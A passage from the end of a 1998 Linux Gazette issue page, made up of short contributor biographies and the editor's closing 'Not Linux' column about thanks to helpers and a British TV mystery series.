business for myself. Now happily divorced from reality, I live next to my
Linux box and sell and support GPL distributions of all major Linux
flavours. I was a beta tester for the PC version of Playmaker Football and
I play `pentium-required' games on the i486. I want to help Linux become a
great success in the gaming world, since that will be how Linux will take
over the desktop from DOS." It is hard to believe that his five years of
university was only good for fostering creative writing skills.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Howard Cokl</H4>
Howard is a PC Technician and ad-hoc UNIX Administrator. He has used Linux
in a number of different applications including ISP, DHCP, etc. He is working on
building a Beowulf style computer. He implemented this CD-ROM server and can be
reached at coklh@karmanos.org.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Jim Dennis</H4>
Jim is the proprietor of <A href="http://www.starshine.org">
Starshine Technical Services</A>.
His professional experience includes work in the technical
support, quality assurance, and information services (MIS)
departments of software companies like
<A href="http://www.quarterdeck.com"> Quarterdeck</A>,
<A href="http://www.symantec.com"> Symantec/
Peter Norton Group</A>, and
<A href="http://www.mcafee.com">McAfee Associates</A> -- as well as
positions (field service rep) with smaller VAR's.
He's been using Linux since version 0.99p10 and is an active
participant on an ever-changing list of mailing lists and
newsgroups. He's just started collaborating on the 2nd Edition
for a book on Unix systems administration.
Jim is an avid science fiction fan -- and was
married at the World Science Fiction Convention in Anaheim.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Scott Field</H4>
Scott has been programming and administering mainframes and PCs for 15
years professionally. He has used C++ for about 5 years, and did COBOL
prior to that. He is currently working as a C++ contractor in Sydney.
Outside work he enjoys spending time with his wife and three year old
daughter.
He is now looking for an STL algorithm that likes renovating houses.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Michael J. Hammel</H4>
A Computer Science graduate of Texas Tech University, Michael J. Hammel,
mjhammel@graphics-muse.org, is an software developer specializing in X/Motif
living in Dallas, Texas (but calls Boulder, CO home for some reason).
His background includes everything from data
communications to GUI development to Interactive Cable systems, all based in
Unix. He has worked for companies such as Nortel, Dell Computer, and
Xi Graphics.
Michael writes the monthly Graphics Muse column in the Linux Gazette,
maintains the Graphics Muse Web site and theLinux Graphics mini-Howto, helps
administer the Internet Ray Tracing Competition (http://irtc.org) and
recently completed work on his new book "The Artist's Guide to the Gimp",
published by SSC, Inc. His outside interests include running, basketball,
Thai food, gardening, and dogs.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Michael Holve </H4>
Michael has been working with Linux for about five years now and
works for Cablevision Systems in New York as a Web/Tech Administrator. In
his spare time (ha!) he works on Everything Linux, a premiere Linux site on
the Internet (http://eunuchs.org/linux/index.html), writes software, hacks
until 3am and enjoys creating all manners of computer graphics.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Manuel Arturo Izquierdo</H4>
Manuel is an archaeologist graduated at the Universidad Nacional de Colombia.
Currently he is working at the National Astronomical Observatory at
the same university. There he has two research fields: the
Archaeoastronomy and the Digital Astronomical Image Processing.
He has been a Linux fan for three years using it for software development
with the Tcl/Tk package and recently the GTK toolkit.
The Observatory's network runs only under two platforms: Linux and
Macintosh. The Observatory is very interested in
promoting the use of Linux in the campus.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Ron Jachim</H4>
Ron is Manager of Systems for the Barbara Ann Karmanos Cancer Institute
where he is responsible for the systems half of the Information Systems Group.
He has fourteen years of networking experience and both a BA and an MS in
Computer Science. His thesis was on fuzzy queries. He can be reached at
jachimr@karmanos.org
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Ron Jenkins</H4>
Ron has over 20 years experience in RF design, satellite systems, and
UNIX/NT administration. He currently resides in Central Missouri where he
will be spending the next 6 to 8 months recovering from knee surgery and
looking for some telecommuting work. Ron is married and has two stepchildren.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Eberhard Lisse</H4>
Dr. Lisse is a Senior Medical Officer at the Swakopmund State Hospital
on the Namibian coast. He is the founding Vice Chairman of the
Namibian Internet Development Foundation (NAMIDEF) which has connected
Namibia to the Internet in 1994 (using linux) and the country top
level Domain Administrator for NA. He has been using Linux exclusively
since 0.99.something.
He is married to Martha and has two children, who prefer their
mother's Mac LCIII to Linux (even with KDE).
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Mike List </H4>
Mike is a father of four teenagers, musician,
and recently reformed technophobe, who has been into computers
since April,1996, and Linux since July, 1997.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Kevin O'Malley</H4>
<A HREF="http://groucho.eecs.umich.edu/~omalley">Kevin</A> is
currently working at the <A
HREF="http://ai.eecs.umich.edu/">University of Michigan Artificial
Intelligence Laboratory</A> as a System Research Programmer. He
specializes in network programming and network security. His
background includes GUI development, embedded
systems development for medical products and programming visualization
tools for vehicle simulations. He is currently working on the
Michigan Adaptive Resource eXchange project (<A
HREF="http://ai.eecs.umich.edu/MARX/">MARX</A>), a dynamic
computational market designed to enable adaptive allocation of
resources in large-scale distributed information systems. The project
is part of DARPA/ITO's Information Survivability Program.
He is co-author of the paper "An API for Internet Auctions" appearing
in the September 1998 issue of Dr. Dobb's Journal.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Dean Staff</H4>
Deanis a computer technician for Inly Systems and member
of OCLUG. When not at work Dean enjoys spending time with his
wife and two daughters and playing with his aquarium.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Peter Vertes</H4>
Peter has a degree in Computer Security from the University of
Massachusetts at Amherst and currently is employed at BigFoot Partners in
New York City.
<P>
<H4><IMG ALIGN=BOTTOM ALT="" SRC="../gx/note.gif">Dan York</H4>
Dan York is a technical instructor and the training manager for a technology training
company located in central New Hampshire. He has been working with the Internet and UNIX
systems for 13 years. While his passion is with Linux, he has also spent the past two-and-a-half
years working with Windows NT. He is both a Microsoft Certified System Engineer and Microsoft
Certified Trainer and has also written a book for QUE on one of the MCSE certification exams.
<a name="notlinux"></a>
<P> <hr> <P>
<!--====================================================================-->
<center><H3><font color="maroon">Not Linux</font></H3></center>
<P> <HR> <P>
<!--======================================================================-->
<P>
<img align="left" src="../gx/rose.gif">
Thanks to all our authors, not just the ones above, but also those who wrote
giving us their tips and tricks and making suggestions. Thanks also to our
new mirror sites. Thanks also to Ellen Dahl and Amy Kukuk for their help
with News Bytes.
<P>
PBS has been showing a mystery series called "Jonathan Creek" that I have
been enjoying quite a bit. The show can be quite intellectually challenging
as each mystery is of the "locked door" variety. No car chases, no sirens, no
explosions -- just a dead body in a locked room with all the accompanying
questions. Quite a lot of fun, actually.
<P>
I've never been quite sure why the
makers of American T.V. shows feel that their audience doesn't want or know
how to use their brains.
<P>
Another interesting difference between American and British entertainment
is the actors. The British don't require that everyone be uniformly
beautiful. It's quite refreshing to see a show where the stars look like
you and your neighbors rather than high-fashion models or movie stars.
<P>
Have fun!
<P> <hr> <P>
<A HREF="http://www.ssc.com/ssc/Employees/Margie/margie.html">
Marjorie L. Richardson</A> <br>
Editor, <A HREF="http://www.linuxgazette.com/"><i>Linux Gazette</i></A>, <A
HREF="mailto:gazette@ssc.com">gazette@ssc.com</a>
<P> <HR> <P>
<!--====================================================================-->
<A HREF="./lg_toc34.html"><IMG SRC="../gx/indexnew.gif" ALT="[ TABLE OF
CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG SRC="../gx/homenew.gif" ALT="[ FRONT
PAGE ]"></A>
<A HREF="./holve.html"><IMG SRC="../gx/back2.gif" ALT=" Back "></A>
<p><hr><p>
<I>Linux Gazette</I> Issue 34, November 1998,
<A HREF="http://www.linuxgazette.com/">http://www.linuxgazette.com</A><BR>
This page written and maintained by the Editor of <I>Linux Gazette</I>,
<A HREF="mailto:gazette@ssc.com"> gazette@ssc.com</A>
<P>
</BODY>
</HTML>
|